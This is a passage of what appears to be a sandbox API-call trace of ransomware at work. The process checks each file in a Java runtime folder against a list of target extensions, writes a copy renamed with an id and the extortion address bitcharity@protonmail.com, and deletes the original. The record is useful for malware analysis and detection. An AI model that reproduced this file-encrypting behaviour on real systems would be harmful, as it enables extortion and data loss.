returned 52 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString=".doc") returned 4 [0297.709] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.710] lstrlenW (lpString=".docx") returned 5 [0297.710] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0297.710] lstrlenW (lpString=".pdf") returned 4 [0297.710] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.710] lstrlenW (lpString=".xls") returned 4 [0297.710] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.710] lstrlenW (lpString=".xlsx") returned 5 [0297.710] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0297.710] lstrlenW (lpString=".ppt") returned 4 [0297.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.710] lstrlenW (lpString=".zip") returned 4 [0297.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.710] lstrlenW (lpString=".rar") returned 4 [0297.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.710] lstrlenW (lpString=".bz2") returned 4 [0297.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.710] lstrlenW (lpString=".7z") returned 3 [0297.710] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.710] lstrlenW (lpString=".dbf") returned 4 [0297.710] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.710] lstrlenW (lpString=".1cd") returned 4 [0297.710] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.710] lstrlenW (lpString=".jpg") returned 4 [0297.710] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.711] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0297.711] lstrlenW (lpString="eula.dll") returned 8 [0297.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.711] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=136256) returned 1 [0297.711] CloseHandle (hObject=0x10b4) returned 1 [0297.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0297.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.711] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.711] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0297.712] GetLastError () returned 0x0 [0297.712] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x21440, lpOverlapped=0x0) returned 1 [0297.849] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x21450, lpOverlapped=0x0) returned 1 [0297.852] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.852] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0297.852] SetEndOfFile (hFile=0x1084) returned 1 [0297.852] CloseHandle (hObject=0x1084) returned 1 [0297.852] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.852] SetEndOfFile (hFile=0x10b4) returned 1 [0297.854] CloseHandle (hObject=0x10b4) returned 1 [0297.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0297.854] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0297.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.854] lstrlenW (lpString=".doc") returned 4 [0297.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.854] lstrlenW (lpString=".docx") returned 5 [0297.854] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0297.854] lstrlenW (lpString=".pdf") returned 4 [0297.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".xls") returned 4 [0297.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".xlsx") returned 5 [0297.855] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0297.855] lstrlenW (lpString=".ppt") returned 4 [0297.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.855] lstrlenW (lpString=".zip") returned 4 [0297.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".rar") returned 4 [0297.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".bz2") returned 4 [0297.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.855] lstrlenW (lpString=".7z") returned 3 [0297.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.856] lstrlenW (lpString=".dbf") returned 4 [0297.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.856] lstrlenW (lpString=".1cd") returned 4 [0297.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.856] lstrlenW (lpString=".jpg") returned 4 [0297.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.856] lstrlenW (lpString=".doc") returned 4 [0297.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".docx") returned 5 [0297.856] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0297.856] lstrlenW (lpString=".pdf") returned 4 [0297.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".xls") returned 4 [0297.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".xlsx") returned 5 [0297.856] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0297.856] lstrlenW (lpString=".ppt") returned 4 [0297.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.856] lstrlenW (lpString=".zip") returned 4 [0297.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".rar") returned 4 [0297.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".bz2") returned 4 [0297.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.857] lstrlenW (lpString=".7z") returned 3 [0297.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.857] lstrlenW (lpString=".dbf") returned 4 [0297.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.857] lstrlenW (lpString=".1cd") returned 4 [0297.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0297.857] lstrlenW (lpString=".jpg") returned 4 [0297.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.857] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0297.857] lstrlenW (lpString="fontmanager.dll") returned 15 [0297.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.857] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=274496) returned 1 [0297.857] CloseHandle (hObject=0x10b4) returned 1 [0297.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0297.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.858] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.858] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.858] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.858] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0297.858] GetLastError () returned 0x0 [0297.858] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x43040, lpOverlapped=0x0) returned 1 [0297.936] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x43050, lpOverlapped=0x0) returned 1 [0297.942] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.942] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0297.942] SetEndOfFile (hFile=0x1084) returned 1 [0298.081] CloseHandle (hObject=0x1084) returned 1 [0298.081] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.081] SetEndOfFile (hFile=0x10b4) returned 1 [0298.084] CloseHandle (hObject=0x10b4) returned 1 [0298.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.084] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1 [0298.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.084] lstrlenW (lpString=".doc") returned 4 [0298.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.084] lstrlenW (lpString=".docx") returned 5 [0298.084] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0298.084] lstrlenW (lpString=".pdf") returned 4 [0298.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.084] lstrlenW (lpString=".xls") returned 4 [0298.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.084] lstrlenW (lpString=".xlsx") returned 5 [0298.084] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0298.084] lstrlenW (lpString=".ppt") returned 4 [0298.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString=".zip") returned 4 [0298.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString=".rar") returned 4 [0298.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString=".bz2") returned 4 [0298.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.085] lstrlenW (lpString=".7z") returned 3 [0298.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString=".dbf") returned 4 [0298.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString=".1cd") returned 4 [0298.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString=".jpg") returned 4 [0298.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString=".doc") returned 4 [0298.085] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString=".docx") returned 5 [0298.085] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0298.085] lstrlenW (lpString=".pdf") returned 4 [0298.085] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString=".xls") returned 4 [0298.085] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString=".xlsx") returned 5 [0298.085] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0298.085] lstrlenW (lpString=".ppt") returned 4 [0298.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.085] lstrlenW (lpString=".zip") returned 4 [0298.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.086] lstrlenW (lpString=".rar") returned 4 [0298.086] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.086] lstrlenW (lpString=".bz2") returned 4 [0298.086] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.086] lstrlenW (lpString=".7z") returned 3 [0298.086] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.086] lstrlenW (lpString=".dbf") returned 4 [0298.086] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.086] lstrlenW (lpString=".1cd") returned 4 [0298.086] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0298.086] lstrlenW (lpString=".jpg") returned 4 [0298.086] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.086] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.086] lstrlenW (lpString="glib-lite.dll") returned 13 [0298.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.086] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=455744) returned 1 [0298.086] CloseHandle (hObject=0x10b4) returned 1 [0298.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0298.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.087] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.087] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0298.087] GetLastError () returned 0x0 [0298.087] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x6f440, lpOverlapped=0x0) returned 1 [0298.290] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x6f450, lpOverlapped=0x0) returned 1 [0298.297] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.297] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xee, lpOverlapped=0x0) returned 1 [0298.297] SetEndOfFile (hFile=0x1084) returned 1 [0298.297] CloseHandle (hObject=0x1084) returned 1 [0298.297] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.297] SetEndOfFile (hFile=0x10b4) returned 1 [0298.301] CloseHandle (hObject=0x10b4) returned 1 [0298.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.301] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0298.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.301] lstrlenW (lpString=".doc") returned 4 [0298.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.301] lstrlenW (lpString=".docx") returned 5 [0298.301] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0298.302] lstrlenW (lpString=".pdf") returned 4 [0298.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString=".xls") returned 4 [0298.302] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString=".xlsx") returned 5 [0298.302] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0298.302] lstrlenW (lpString=".ppt") returned 4 [0298.302] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.302] lstrlenW (lpString=".zip") returned 4 [0298.302] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString=".rar") returned 4 [0298.302] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString=".bz2") returned 4 [0298.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.302] lstrlenW (lpString=".7z") returned 3 [0298.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.302] lstrlenW (lpString=".dbf") returned 4 [0298.302] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.302] lstrlenW (lpString=".1cd") returned 4 [0298.302] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.302] lstrlenW (lpString=".jpg") returned 4 [0298.302] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.302] lstrlenW (lpString=".doc") returned 4 [0298.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.302] lstrlenW (lpString=".docx") returned 5 [0298.302] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0298.303] lstrlenW (lpString=".pdf") returned 4 [0298.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.303] lstrlenW (lpString=".xls") returned 4 [0298.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.303] lstrlenW (lpString=".xlsx") returned 5 [0298.303] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0298.303] lstrlenW (lpString=".ppt") returned 4 [0298.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.303] lstrlenW (lpString=".zip") returned 4 [0298.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.303] lstrlenW (lpString=".rar") returned 4 [0298.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.303] lstrlenW (lpString=".bz2") returned 4 [0298.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.303] lstrlenW (lpString=".7z") returned 3 [0298.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0298.303] lstrlenW (lpString=".dbf") returned 4 [0298.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.303] lstrlenW (lpString="C:\\Program 